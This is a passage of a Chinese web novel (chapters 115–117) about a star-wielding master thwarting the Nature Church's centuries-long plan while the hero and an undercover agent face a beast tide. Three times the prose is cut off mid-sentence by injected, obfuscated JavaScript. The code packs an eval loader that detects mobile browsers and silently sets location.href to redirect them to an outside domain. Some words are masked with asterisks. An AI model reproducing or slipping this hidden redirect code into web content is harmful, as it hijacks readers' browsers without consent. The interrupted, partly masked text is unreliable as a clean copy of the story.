贵为高中肄业生的张玉汝,别说本硕连读了,他连大专的校门朝哪开都不知道。 林间的风带着溪水的凉意吹过来,卷起地上的落叶打着旋儿飘过。 他下意识地挠了挠后脑勺,指腹蹭过被夜露打湿的短发,心里直犯嘀咕:这姑娘是故意戳他痛处?明知道他没读过多少书,还在这儿念叨什么硕士论文?可看她那盯着溪水发愣的样子,又不像在嘲讽…… “我听说上古时期不是能论文**吗?”张玉汝踢了踢脚边的碎石,石子滚进溪水里,溅起的水花在月光下闪了闪。 他实在没法理解,不就是篇论文吗,至于冒这么大险? “拜托,北斗院又不是什么野鸡大学,论文审查严到能让人掉层皮好不啦。”夏雨萱翻了个白眼,伸手拨开垂到脸颊的发丝,指尖沾着的草叶碎屑簌簌落在衣襟上。 “你以为写论文是随便糊弄几句就行?从选题开始就卡得死死的。” 她伸手扯了扯被夜风吹得贴在脸颊上的发丝,“你知道院里的讲师是什么门槛吗?大师级能力者起步。教授更不用说,全员都是宗师级,各个院系的院长甚至不乏大宗师级能力者。” 她顿了顿,声音里忽然多了几分不易察觉的骄傲,连带着挺直了些脊背:“更别说那些学院院长了,好些都是摸到大宗师门槛的人物。你想想,以他们那种境界,世间名利早就看淡了,还需要给谁面子?上古那些野鸡大学会有**,无非是利益纠葛扯不清,或是被权势压着不得不低头,可北斗院根本不吃这一套。” “选题得先过导师关,导师签字后还要提交学院评审组——就是我刚才说的那些宗师级教授组成的委员会。 他们会用精神力扫描你的选题报告,连标点符号的逻辑漏洞都能揪出来。我当初光是选题就被打回来七次,每次修改意见都写得比原文还长。” 张玉汝听得一愣一愣的,手里转着根树枝忘了动作。 “这还只是开始。”夏雨萱掰着手指头数起来,火光在她瞳孔里跳跃,“开题答辩要面对十五位跨学科教授的质询,他们能从你的研究方法一路杠到参考文献的出版时间。 中期检查更狠,不仅要提交完整的实验数据,还得现场演示研究成果——就像我这次潜伏,中期汇报时得把自然教会的层级结构、能力体系用全息投影还原出来,差一个细节都算不合格。” 她顿了顿,往火堆里又塞了块松木,浓郁的香气混着水汽在林间散开。 “最要命的是盲审环节。所有论文都会隐去作者信息,随机分配给三位校外评审,全是其他学院的大宗师。他们根本不管你是谁的学生,只看数据是否真实、结论是否成立。” “有个学长论文里伪造了一组能量波动曲线,直接被评审用精神力回溯到实验现场,当场取消学位申请资格,这辈子都别想再进科研圈。” 说到这儿,她忽然笑了,笑容在火光里显得格外清晰:“你说这样的审查力度,谁敢**?别说动歪心思了,就连引用文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他重重点了点头,伸手拍了拍身边的一块湿滑青石,溅起的水珠落在裤腿上也毫不在意:“你说得对,天人的确不是人。” 他刻意顿了顿,眼帘缓缓垂下,遮住了眸底一闪而过的厉色。 夜风卷着溪涧的凉意掠过林地,吹得他额前碎发微微晃动,也吹散了话音里最后一丝温度。 “他们从没把自己当人看,总觉得生来就该高人一等。 ”喉间发出一声几不可闻的嗤笑,他抬眼望向墨色沉沉的远山,声音里已然淬了冰般的冷意,“我呢,也从没把他们当人——顶多算些披着人皮的奇兽罢了。” 说来也算奇妙,单论对“天人”的认知,他和那些自命不凡的存在竟达成了某种诡异的共识。 只是这共识的根基,却有着云泥之别:天人自诩是凌驾于众生之上的高等造物,视人类为蝼蚁;而在张玉汝眼里,他们不过是些徒有人形的异兽,与山间奔窜的豺狼、林间潜伏的毒蛇并无本质区别。 张玉汝对异兽的态度,向来简单直接,只有一个字——杀。 管它是振翅九霄的飞禽,还是纵横山野的走兽,亦或是那些披着衣冠、行尽龌龊的“人形禽兽”,在他这里,结局从来都只有一种。 此刻他心中清明,已然知晓元天成交付的任务究竟为何。 这并非是夏雨萱方才那番连珠炮似的抱怨带来了什么启示。 说实在的,虽说与卸下伪装的夏雨萱接触还没有多久,但张玉汝已经感受到了对方活脱脱就是一个憋坏了的话痨。 像她这般藏不住话的人,偏要在自然教会那种地方潜伏八年,还得时刻提防身份暴露,没被活活憋疯,当真算得上是心理素质过硬了。 以至于张玉汝不得不怀疑,这是否是夏雨萱导师的某种恶趣味。 真正让他心头警铃大作的,是从远山深处传来的、那股铺天盖地的异兽气息。 成千上万道凶戾的气息如同涨潮的暗涌,正顺着风的轨迹不断蔓延,带着山雨欲来的压迫感,让这片本就寂静的林地,更添了几分肃杀的寒意。 第 115章 狗急跳墙 元天成出手救下张玉汝,的确是因为姜南云的人情。 尽管张玉汝对此毫不知情,甚至从未想过自己会与星辰泰斗这等传说级人物产生交集,但元天成确实早已将一部分神念悄然落在了他的身上。 作为执掌星辰之力的泰斗级存在,元天成在正面搏杀的爆发力上或许稍逊于力量泰斗郑一——那位能一拳轰碎山岳的猛人,但论及能力覆盖的广度与精妙程度,却远超后者不知凡几。 毫不夸张地说,整个神州国的疆域都在他的星辰笼罩之下。无论是繁华都城的市井喧嚣,还是边陲荒漠的风沙起落,元天成都能通过漫天星辰的感应实时监测。 更令人惊叹的是,他能将自身力量通过星辰坐标瞬间投放到国土任何角落,这也是他敢称“星罗万象,尽在掌握”的底气所在。 当张玉汝被天人势力视作眼中钉,一路遭到无休止的追杀时,元天成的目光始终没有离开过这个年轻人。 从最初遭遇的伏击,到后来在森林里被天人围堵,甚至最后被逼至绝境,濒死之际意外触发体内“一岁一枯荣”的秘术时,元天成都在九天之上的星辰殿内静观其变。 他早已布下后手,只要张玉汝真的走到十死无生的绝境,便会使用星辰的力量将其带离险地,送往早已备好的秘境庇护。 然而张玉汝的表现却大大出乎了元天成的预料。 起初这位星辰泰斗以为,一个尚未真正成长起来的后辈,在天人势力的疯狂围剿下撑不过三日光景,最终还是需要自己出手收拾残局。 毕竟天人这次派出的追兵中,不乏几位成名已久的老牌能力者,手段狠辣异常。 可事实却是,张玉汝凭借着远超常人的韧性与机智,硬是在一次次死局中寻得生机。 他时而隐匿行踪钻山入林,时而利用地形设下陷阱反杀追兵,最后更是以伤换命突破重围,成功闯入了连天人都不敢轻易踏足的混乱之地。 这等绝境求生的本事,连见惯风浪的元天成也不禁抚须赞叹。 原本元天成对于张玉汝的关注,不过是看在姜南云当年的人情,打算还了这份人情便不再过多关注。 但张玉汝这股不服输的韧劲和层出不穷的奇思妙想,却像磁石般勾起了他的兴趣。 这位活了近千年的老怪物,骨子里其实藏着几分顽童般的好奇心,索性便从本命星辰中分出一缕分神,凝练成一颗肉眼难见的伴星,时时刻刻跟随着张玉汝的脚步。 混乱之地的能量乱流狂暴至极,天地法则都在此处变得扭曲混乱。即便是元天成的星辰感应,也无法穿透那片混沌迷雾窥探内部情形,只能隐约感知到张玉汝的生命气息尚在。 张玉汝在混乱之地的这段时间里,元天成对于他的关注也少了很多。 毕竟泰斗所需要处理的事情实在是太多了,即便是一丝分神也不能够一直浪费在一个小小的大师级能力者身上。 直到数月前张玉汝改头换面的离开混乱之地时,那颗伴星才重新锁定目标,继续忠实地履行着监视任务。 于是接下来的日子里,张玉汝那些看似隐秘的行动,在元天成眼中几乎成了实时直播的好戏。 他看着张玉汝如何利用自然教会的内部矛盾巧妙周旋,如何用几句似真似假的消息就让教会长老们焦头烂额,把偌大一个教派耍得团团转。 每当看到自然教会的能力者被戏耍后气急败坏的模样,元天成就忍不住在星辰殿内放声大笑,觉得这比看星象推演有趣多了。 这段时间里,就连执行秘密任务的夏雨萱,都没能从元天成口中得到半点关于张玉汝的消息。 这位喜欢看乐子的泰斗故意守口如瓶,就是想看看这场好戏能演到什么地步。 直到张玉汝准备对自然教会的白镜痛下**时,元天成才慢悠悠地给夏雨萱传去消息,轻描淡写地一句“你的卧底任务有结束的机会了”,直接促成了后来夏雨萱在关键时刻悍然跳反的结果。 虽说在外人看来,元天成对张玉汝的关注简直到了超乎寻常的地步,甚至不惜动用珍贵的星辰分身亲自出手救援,仿佛这位年轻人是什么足以影响天下格局的关键人物。 但事实上,这层层交织的因果背后,更多的是一连串的恰逢其会。 张玉汝当初毅然决然前往雪域高原,并非一时冲动的冒险之举。 真正促使他踏上这段旅程的,是从混乱之地一位独眼情报商人那里购得的密报——上面赫然写着自然教会近期将在雪域高原有所动作的消息。 这位以消息灵通著称的商人,在混乱之地的地下世界里向来信誉颇佳,张玉汝正是基于这份信任,才将这条消息记在了心上。 可他万万没有想到,这位看似游走于黑白边缘的情报商人,实则是神州国安插在混乱之地的重要棋子。 而他口中所谓的“独家消息”,源头正是潜伏在自然教会内部的夏雨萱。当时夏雨萱凭借着过人的胆识,在教会中逐步站稳脚跟,偶然间截获了这条关乎重大的情报,便第一时间通过秘密渠道传回了神州国。 神州国高层收到消息后,立刻意识到这可能是扰乱自然教会布局的绝佳机会。 但问题随之而来:夏雨萱当时在教会中的层级尚浅,接触到的核心信息有限,谁也无法百分百确定这份情报的真实性。 万一这是自然教会故意放出的**,贸然行动恐怕会落入对方的陷阱当中,甚至可能暴露夏雨萱这条重要的潜伏线索。 经过数轮秘密商议,神州国情报部门最终想出了一个稳妥的计策——将这条消息稍加包装后,通过混乱之地的情报网络悄然散播出去。 他们算准了自然教会树敌众多,总会有不长眼的势力或是急于复仇的能力者,会被这条消息引诱,主动跑去雪域高原一探究竟。这些人无形中就成了神州国的“探路石”,无论结果如何,都能为己方争取宝贵的观察时间。 而时刻关注着自然教会动向、一心想要报复自然教会的张玉汝,恰好成为了这波信息扩散中的第一个“幸运儿”。 对自然教会的刻骨仇恨让他没有丝毫犹豫,拿到消息后立刻开始筹备前往雪域高原的事宜。 抵达雪域高原后,张玉汝果然没让人“失望”。 他利用自己在混乱之地磨练出的生存技巧和层出不穷的手段,在自然教会的眼皮底下接连制造事端:先是猎杀自然教会培育的异兽。 接着又不断地出现在雪域高原的各处,让对方的追兵疲于奔命,甚至使得自然教会误以为神州国要攻打雪域高原。 原本平静的雪域高原被他搅得天翻地覆,自然教会维持下的秩序彻底陷入混乱。 远在京城的神州国情报部门通过卫星监控和潜伏人员的反馈,很快就敏锐地察觉到了异常——自然教会在雪域高原的守备力量竟然异常空虚,竟然迟迟无法拿下几名大师级能力者。 这种反常的情况恰恰印证了夏雨萱情报的真实性:自然教会必然在暗中策划着某种需要集中大量精锐力量的特殊行动。 得到确切结论后,元天成当即决定加大投入。 他不仅将原本用于监测边境的三颗主星转向雪域高原,更是抽调了两位得力弟子坐镇星辰殿,专门负责汇总张玉汝和夏雨萱那边传来的消息。 整个星辰监测网络围绕着这两人高速运转,任何风吹草动都逃不过元天成的眼睛。 在神州国这个庞然大物的权力运转下,元天成通过分析各方情报碎片,已经完全拼凑出了自然教会的真实计划。 所以说,救援张玉汝是恰逢其会,并非元天成投入这么多力量的主要缘由。 当时那位年轻人恰好身陷白磬的绝杀之境,而元天成本就打算出手,索性便顺带将他从死亡边缘拉了回来。 元天成主要的目的还是破坏自然教会的谋划。 —————————————————————————— #异兽狂潮下的暗流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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即便在异兽大规模退潮的今天,山脉腹地依然潜伏着足以让泰斗级能力者都忌惮三分的强大存在——那些被称为“兽神”的远古异兽,每一头都活了数千年甚至上万年,掌握着撼动天地的恐怖力量。 自然教会之所以不惜投入海量资源,甚至动用了压箱底的传承秘术,正是想借助昆仑山脉的地脉灵气,加上他们代代积累的御兽技术,强行与山脉深处的兽神级异兽建立联系,进而获取一部分属于这些远古巨兽的恐怖力量。 这个计划若是成功,自然教会将凭空多出数股堪比泰斗级的战力。 到那时,原本就暗流涌动的神州国局势必将彻底失衡,神州国官方所面临的压力会瞬间急剧增长,甚至可能动摇国本。 好在元天成及时识破了对方的阴谋,在最关键的时刻悍然出手,一举破坏了自然教会的祭坛和秘术仪式。 那些原本被秘术引诱、即将**控的异兽失去了引导,才会变得如此狂躁,形成眼前这漫山遍野的混乱景象。 而计划失败的自然教会,在遭受了祭坛被毁、核心传承受损的巨大损失后,显然已经失去了理智。 这群被恼羞成怒冲昏头脑的狂信徒,竟然不惜多年积攒的底牌,放任失控的异兽群向山下的人类聚居地冲锋,以此对神州国展开疯狂报复。 元天成对此似乎早有预料。 他将两人送到了自然教会兽潮冲击的最前沿阵地。 狂风裹挟着异兽的腥膻气息扑面而来,脚下的大地都在数万头异兽的狂奔中剧烈震颤。 张玉汝刚站稳脚跟,就看到前方不足百丈的地方,黑压压的兽群如同移动的山峦般压来,利爪刨起的碎石与嘶吼声交织成令人头皮发麻的死亡交响。 狂风卷起张玉汝的衣袍,他望着眼前奔腾的兽潮,又看了眼身旁眼神坚定的夏雨萱,突然明白了元天成的用意。 第 116章 根源问题 自然教会为了染指那足以撼动世间格局的泰斗级力量,究竟愿意投入多少光阴去精心筹备? 答案藏在漫长的时光长河里——整整两百年。 回溯至两百年前那个风云初定的年代,白磬便已怀揣着惊世构想,在自然教会最高决策机构长老会的殿堂上,郑重提出了这项将改变教会命运的宏大计划。 那时的白磬早已不是籍籍无名之辈,他凭借惊世骇俗的天赋与苦修,已然晋阶大宗师级能力者的行列,在教会内部建立起无人能及的威望。 每当他在议事厅中开口,即便最固执的长老也会敛声静听,这份沉甸甸的话语权,让他的计划从一开始就站在了更高的起点。 也正因如此,在白磬倾尽全力的奔走推动下,经过无数次激烈的辩论与审慎的权衡,自然教会最终以全票通过的结果敲定了这项决议,并将其镌刻在教会典籍的扉页,列为足以影响未来百年走向的核心大计。 如此跨越世纪的宏大计划,背后所投入的资源堪称天文数字——从遍布大陆的秘密据点建设,到稀有药材的世代培育;从古籍秘典的全球搜罗,到核心成员的封闭式特训,每一项支出都足以让寻常势力望而却步。 但教会上下对此毫无怨言,因为所有人都清楚,一旦计划成功,自然教会将在力量、财富与影响力上实现质的飞跃,攫取到的利益将远超这两百年的所有投入。 雪域高原的景致向来以纯净壮丽闻名于世,皑皑雪山直插云霄,澄澈湖泊倒映着蓝天白云,传说中这片土地蕴含的天地灵气,能洗去人心的浮躁与杂念,让心灵回归最本真的纯净。 然而,对于驻扎在此的自然教会成员而言,这般绝世风光却从未入过他们的眼。 在他们眼中,雪山不过是冰冷的屏障,湖泊只是取水的工具,这片被誉为“心灵净土”的高原,每一寸土地都浸染着他们的焦虑与期待,哪里还有半分欣赏风景的闲情逸致? 能力者纵然能引动天地之力,挥出开山裂石的伟力,可当真正的天灾如怒涛般席卷而来时,那些引以为傲的力量便会瞬间显得渺小如尘埃。 在狂暴的自然伟力面前,即便是能御空而行的强者,也难免在风雪中飘摇,在地震中失措。 雪域高原从来不是普通生命的乐土。 这里常年被冰雪覆盖,凛冽的寒风如同无形的利刃,日夜切割着裸露的土地;稀薄的空气让每一次呼吸都变得沉重,更别说进行体力劳作。 对于没有特殊能力的普通人而言,在这里生存简直是与死神的长期博弈——一个小小的风寒,一次突如其来的暴雪,都可能夺走脆弱的生命。 能力者们固然可以凭借觉醒的力量抵御严寒,用能量护盾隔绝风雪,甚至能短暂改变周遭的小环境来提升存活概率。 可谁又曾想过,这些看似强大的能力者,最初也只是芸芸众生中的一员? 若没有源源不断的新生力量加入,没有一代代普通人成长、觉醒,能力者的队伍终将在时光流逝中凋零,再强大的传承也会面临断代的危机。 世**多只看到能力者的风光,却鲜少知晓他们的起源。 能力者并非天生就带着超凡的印记降世,每个强者的起点都是啼哭的婴孩。 他们需要在漫长的成长岁月中打磨体魄、锤炼意志,直到身心达到某个临界状态,再通过教会秘传的觉醒仪式,引动体内潜藏的能量种子,才能真正踏上能力者的道路。 这个过程漫长而艰辛,每一步都离不开稳定的生存环境与资源支撑。 而雪域高原最致命的困境,恰恰藏在生存的根基里。 这里的土地被永久冻土与冰雪包裹,土壤贫瘠且缺乏养分,根本无法支撑普通作物的生长。 想要让辖区内的普通人活下去,自然教会只能将希望寄托在畜牧业上。 可现实的阻碍远比想象中残酷——寻常的牛羊马匹在这片土地上根本无法存活,它们不仅扛不住刺骨的严寒,就连高原上那些因环境异变而生的异化牧草都无法消化,往往没几天就会因腹胀、虚弱而倒下。 因此,数千年来,自然教会始终维持着一种近乎苛刻的生存模式:他们依靠能力者猎杀高原上的异兽,将其肉质经过特殊工艺处理,去除其中蕴含的狂暴能量后,再分发给辖区内的普通人作为口粮。 这看似简单的供给链条,背后却隐藏着巨大的代价——异兽的猎杀难度极大,处理工艺复杂且耗时,每一份肉干都凝聚着能力者的汗水与风险。 这种依赖异兽生存的方式,注定了成本高昂而产量微薄。 每一头异兽的捕获都可能伴随着能力者的伤亡,每一次处理都要消耗珍贵的能量资源。 这直接导致自然教会辖区的人口规模被死死限制在一个微妙的平衡点上,多一分则口粮不足,少一分则劳动力匮乏。 这个看不见的枷锁悬在所有人头顶,让他们时刻紧绷着神经——一旦人口超出限度,那脆弱的生存平衡便会如冰面般碎裂,引发的饥荒与混乱,足以动摇教会千年来的根基。 在这般被生存枷锁牢牢困住的境地下,自然教会的实力上限早已被悄然锁死。 他们的力量规模始终维持在一个微妙的区间——足以对神州国先导会构成持续的骚扰与威胁,让对方无法彻底忽视其存在,却又远未达到能撼动对方根基的程度,始终处于神州国能够掌控和处理的范围之内。 这样的局面固然能让自然教会在雪域高原暂时苟存,靠着贫瘠的资源与有限的人口勉强维持传承,但所有人都心知肚明,这不过是暴风雨前的宁静。 一旦神州国那些坐镇一方的泰斗级强者腾出手来,将目光真正投向这片冰封的高原,失去了“对方无暇顾及”这层保护伞的自然教会,等待他们的必然是雷霆万钧的碾压,届时便是万劫不复的灭顶之灾。 为了延缓那一天的到来,自然教会几乎每天都在绞尽脑汁地谋划。 他们或在边境制造摩擦,或暗中扶持反对势力,用尽一切手段牵制神州国的精力,只为让那些高高在上的泰斗级能力者始终被琐事缠身,无暇西顾。 可这种做法终究是饮鸩止渴——每一次挑衅都在加深双方的仇恨,每一次冲突都在激化彼此的矛盾。 自然教会在神州国的“清理名单”上,正随着仇恨的累积一步步向前挪动,距离那道毁灭的红线越来越近。 这种“越对抗越危险,越危险越对抗”的恶性循环,如同无形的绞索,正一点点收紧。 也正因如此,白磬的计划才能在长老会获得全票通过。 除了他大宗师的身份带来的威望与说服力,更关键的是这份计划直指核心困境——它承诺将打破这令人窒息的恶性循环,从根本上扭转自然教会的被动处境。 这一点,远比任何豪言壮语都更能打动那些执掌教会命运的长老。 在自然教会的构想中,一旦他们拥有了泰斗级的力量——哪怕只是短暂爆发、无法稳定掌控的力量,也足以让整个局面发生质变。 这份力量将成为他们最坚实的底气,让他们有资本冲破雪域高原的桎梏,将势力范围向更广阔的天地延伸。 而与雪域高原相邻的益州大地,早已是自然教会觊觎百年的目标。 那片被称为“天府之国”的土地,气候温润,物产丰饶,既有连绵的沃野可供耕种,又有密布的水系滋养万物,与贫瘠的高原形成天壤之别。 教会上下对这片宝地早已垂涎欲滴,无数次在地图上描摹着将其纳入版图的场景。 他们坚信,只要手握泰斗级力量拿下这天府之国,困扰教会千年的生存难题便会迎刃而解。 充足的粮食将支撑人口规模突破原有的极限,源源不断的新生力量会充实能力者的队伍,资源的富足又能反哺力量的提升。 届时,自然教会的实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091435|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力将如滚雪球般水涨船高,彻底摆脱“被锁死”的命运。 按照这样的蓝图持续发展下去,只要有足够的时间,自然教会便能积蓄起足以与神州国先导会分庭抗礼的力量。 到那时,他们或许真的能重新站上历史的舞台中央,与这个统治神州国千年的庞然大物再次较量,争夺那决定天下走向的主导权。 这份潜藏在计划背后的野心,才是支撑自然教会熬过两百年漫长等待的真正动力。 为了确保这项跨越世纪的宏大计划能够在绝对安全的环境中推进,自然教会将其列为整个教会体系内的最高级机密。 从计划启动的那一刻起,所有相关文档被封存于禁地密室,知晓核心内容的成员屈指可数,即便是教会内部的高阶能力者,若非直接参与其中,也只知晓有“百年大计”存在,却对具体内容一无所知。 就这样,这个关乎教会未来的秘密,在雪域高原的风雪中隐藏了整整上百年,如同深埋地下的火种,等待着燎原的时刻。 两百年的漫长酝酿,足以让沧海变为桑田。 自然教会在这段时光里送走了一代又一代的能力者,他们中有的在异兽猎杀中陨落,有的在资源押运时牺牲,有的则耗尽毕生精力钻研计划所需的秘术与工艺。 无数人从青丝走到白发,将青春、热血乃至生命都奉献给了这个看不见尽头的计划,他们或许至死都未能亲眼见证成果,却始终坚信后代会带着他们的信念走向成功。 这份传承的厚重,本应是计划最坚实的基石。 可谁也未曾料到,如此耗费心血、承载着整个教会希望的宏伟大计,最终的败露竟源于最不堪的理由——某些人根深蒂固的贪腐习性。 那些手握计划执行权的中层管事,将教会的资源视为私产,把秘密任务当作牟利的工具,习惯性地收**赂、克扣物资,甚至为了中饱私囊而弄虚作假、虚报损耗。 这种源自人性贪婪的溃败,想来何其可笑,却又真实得令人心寒。 但世间的事往往就是如此讽刺。 当收**赂成为晋升的“捷径”,弄虚作假变成应付检查的“常态”,任人唯亲、安插亲信成为心照不宣的潜规则时,再严密的制度、再重大的使命,都会被这些看似微不足道的“潜规则”蛀空。 就像浑浊的水流会渗透堤坝的每一道缝隙,这些**的毒瘤也在悄无声息地侵蚀着计划的根基。 或许在计划推行的最初,教会上层并非毫无察觉。 只是在他们眼中,这些不过是底层执行中的“小问题”,是人性的“无伤大雅的瑕疵”,没必要为此大动干戈,更没必要因此影响计划的整体进程。 他们沉浸在对未来的憧憬中,对眼皮底下的**乱象选择了默许与纵容,直到那些“小问题”逐渐积累成足以颠覆全局的“大隐患”。 等到他们真正意识到贪腐的致命危害时,那些被挪用的资源、被泄露的信息、被破坏的环节早已造成了无法挽回的损失,一切都为时已晚。 古话说:“千里之堤,溃于蚁穴。”自然教会的计划便如同一座看似坚固的长堤,却被无数贪婪的“蚁穴”从内部蛀穿。 当底层的执行体系彻底烂掉,当公平与纪律被私欲践踏,当每一个环节都充斥着敷衍与欺骗时,这项宏伟大计从根上就已经注定了失败的结局。 那些隐藏百年的秘密,那些牺牲者的心血,最终都成了**的祭品。 而元天成与夏雨萱的出现,不过是压垮骆驼的最后两根稻草。 他们并非计划失败的根源,只是在恰当的时机,如同两个清醒的旁观者,用锐利的目光看穿了这层早已千疮百孔的伪装,将那些被掩盖的**与漏洞公之于众。 他们更像是那个敲响警钟的人,用真相叫醒了还在沉迷于幻想中的自然教会——只可惜,这场迟到的觉醒,换来的只有计划崩塌的残酷现实。 第 117章 元天成的怀疑 自然教会耗费两百年心血的宏伟大计,终究还是以失败落幕。 它的崩塌并非源于惊天动地的决战,也不是因为对手的压倒性强攻,而是栽在了那些看似“微不足道”的疏漏上——或许是一份被贪墨的物资清单,或许是一次被泄露的巡逻路线,又或许是某个环节上的敷衍了事。 可偏偏就是这些细碎如尘埃的失误,如同多米诺骨牌的第一块倒塌,最终引发了连锁反应,将所有的心血、资源与希望都推向了不可挽回的深渊。 对于自然教会的绝大多数人而言,这场失败意味着信仰的崩塌。 那些为此奉献了青春的执行者,那些倾注了毕生心血的研究者,那些坚守在雪域高原苦寒之地的守护者,他们一生为之奋斗的目标、为之牺牲的意义,在计划宣告破产的那一刻,都化作了镜花水月。 巨大的失落与绝望如同高原的寒风,瞬间席卷了整个教会,许多人在得知消息后,甚至失去了站立的力气。 自然教会的计划失败了,但这并不意味着所有的可能性都已终结,那些深埋在计划背后的秘密、那些未被发掘的力量,或许正等待着另一种方式的开启。。 另一边,元天成的身影早已从雪域高原的乱局中抽离。 作为神州国的泰斗级能力者,他肩头的责任向来沉重如山。 自然教会的百年大计固然凶险,值得他亲赴前线拆解核心谋划,但在成功粉碎对方最致命的威胁后,更紧迫的事务已在等待他的决断。 他的战场从不止一处,高原的硝烟尚未散尽,他便已转身投入到更广阔的天地中,那里有需要他守护的城池,有亟待他解决的危机。 至于之后的收尾工作——应对反扑、清剿残余势力、清点遗留资源、安抚周边民众——固然重要,却还不至于需要一位泰斗级强者亲自坐镇。 神州国培养的无数能力者,从高阶精英到基层执行者,本就各司其职,这种战后秩序的重建,正是他们发挥作用的舞台。 若是连这点事情都要泰斗亲力亲为,那整个能力者体系的存在便失去了意义。 只是,元天成在奔赴新战场的间隙,目光偶尔掠过远方的云层时,眉宇间总会染上一丝不易察觉的忧虑。 他并不信任先导会的效率,过往的经验告诉他,越是看似尘埃落定的局面,越容易滋生新的变数。 自然教会经营两百年的根基不会轻易彻底瓦解,那些潜藏的余孽、未被发现的暗桩,甚至可能存在的后手,都需要极其细致的排查。 而先导会内部的层级壁垒、部门间的协调问题,有时比敌人的阴谋更令人头疼。 他隐隐怀疑,这场收尾工作,恐怕不会如预想中那般顺利。 风雨暂歇,却暗流涌动。自然教会的落幕,是一些人的终点,却是另一些人的起点,而这场博弈留下的余波,还将在神州大地上继续荡漾开来。 自然教会已腐朽到根骨,竟让耗费两百年的宏伟大计因贪腐泄密这般可笑的理由功亏一篑,可这是否意味着神州国先导会就能做得更好? 答案恐怕没那么简单。 势力越是庞大,组织结构便会如蛛网般盘根错节,层级越多,部门越杂,潜藏的问题与漏洞便可能越多。 就像参天大树的枝干越繁茂,越容易在枝叶缝隙间藏污纳垢,阳光也难以照进每一处阴暗的角落。 自然教会犯过的那些蠢事、那些因内部**引发的危机,先导会并非毫无涉猎。 寻常人或许只看到先导会维护天下秩序的威严,对其内部的暗流知之甚少,但元天成作为亲历者,对这种“光鲜之下的阴影”再清楚不过。 他曾见过资源分配中的倾斜与偏袒,遇过任务执行时的敷衍与推诿,甚至亲历过因内部信息泄露而导致的行动失败。 这些与自然教会如出一辙的问题,不过是被先导会更严密的制度与更强的实力暂时掩盖罢了。 计划败露后的自然教会,显然不会坐以待毙。 被逼到绝境的困兽往往会爆发出最疯狂的挣扎,他们极有可能选择“破罐子破摔”——将两百年间积攒的隐秘力量、压箱底的底牌乃至所有能动用的资源,孤注一掷地发起反扑。 这种行为与“狗急跳墙”毫无二致,越是歇斯底里的挣扎,越能暴露他们内心的慌乱与心虚,越能证明他们已无退路。 可即便如此,这场反扑的凶险程度也不容小觑。 自然教会毕竟经营雪域高原数千年,两百年的计划虽败,却也积累了无数足以撼动一方的力量:那些隐藏在雪山深处的秘密基地,那些经过特殊培育的异化异兽,那些传承自古老时代的禁忌秘术,甚至可能还有一批被当作“最后底牌”的高阶能力者。 当这些积攒的力量毫无保留地倾泻而出时,其冲击力足以让神州国的边境防线陷入危机。 因此,能否稳稳接下这场反扑,妥善清剿残余势力,彻底拔除自然教会潜藏的威胁,才是衡量此次行动是否“圆满成功”的关键。 若是只顾着粉碎核心计划,却让对方的反扑造成重大损失,甚至让其自然教会的主要力量完好无损的保存下来,那就不是成功而是失败了。 元天成虽已投身其他事务,但目光始终未远离雪域高原的动向。 他清楚,这场考验尚未结束,先导会能否避免重蹈自然教会的覆辙,能否在胜利之后保持清醒与效率,将直接决定这场百年博弈的最终结局。 而眼下,自然教会那带着绝望气息的反扑信号,已然在风雪中悄然传递。 凛冽的寒风裹挟着雪粒,狠狠抽在裸露的岩石上,发出呜咽般的声响。 原本一片祥和宁静的山间林地此刻已然被雪域高原的风雪侵袭。 张玉汝站在一处临时搭建的瞭望台边缘,指尖无意识地摩挲着腰间的碎空镜,目光紧锁着远方山峦的轮廓。 就在刚才,一阵沉闷的震动顺着脚底传来,起初微弱得如同心跳,转瞬便化作持续不断的震颤,仿佛大地深处有一头巨兽正在苏醒。 “院长真是不把人当人啊!”身后传来夏雨萱带着怨念的嘟囔,她往冻得发僵的手心哈了口白气,脸上写满了“残念”。 “刚完成潜伏任务还没喘口气,现在又得来干这种硬仗,当我们是永动机还是核动力驴啊?” 她本以为拆解了自然教会的核心计划,怎么也能在温暖的营地喝上两杯热奶茶,好好缓一缓紧绷的神经,结果转头就从斗智斗勇的潜伏战,无缝衔接到了真刀**的武斗现场,连个缓冲的余地都没有。 张玉汝没有接话,只是微微侧头望向震动传来的方向。 元天成肯将这次任务交给他,已是极大的信任与机会,比起那些没有选择的人,他此刻的处境已算得上幸运,实在没什么可抱怨的。 但他周身的气息却在悄然变化,原本平和的眼神渐渐凝聚起锐利的锋芒,握着碎空镜的手指也微微收紧。 脚下的震颤还在持续,甚至有愈演愈烈的趋势。 瞭望台的木架发出“咯吱咯吱”的呻吟,仿佛随时会散架;远处坡地上的积雪被震得簌簌滑落,形成一道道细小的雪流;就连空气中悬浮的冰晶,都随着大地的脉动而微微颤抖。 夏雨萱也收起了抱怨,脸上的轻松荡然无存,她皱着眉侧耳倾听:“这动静也太大了吧?难道是雪崩?” “不是雪崩。”张玉汝的声音低沉而冷静,他的感知早已如同无形的网,朝着震动源头的方向铺展开去,“是异兽,很多很多的异兽。” 尽管他的感知清晰地告诉他,那些狂暴的气息距离他们所在的位置还有相当一段距离,至少在半个时辰的路程之外,但那股铺天盖地的压迫感却已如乌云盖顶般涌来。 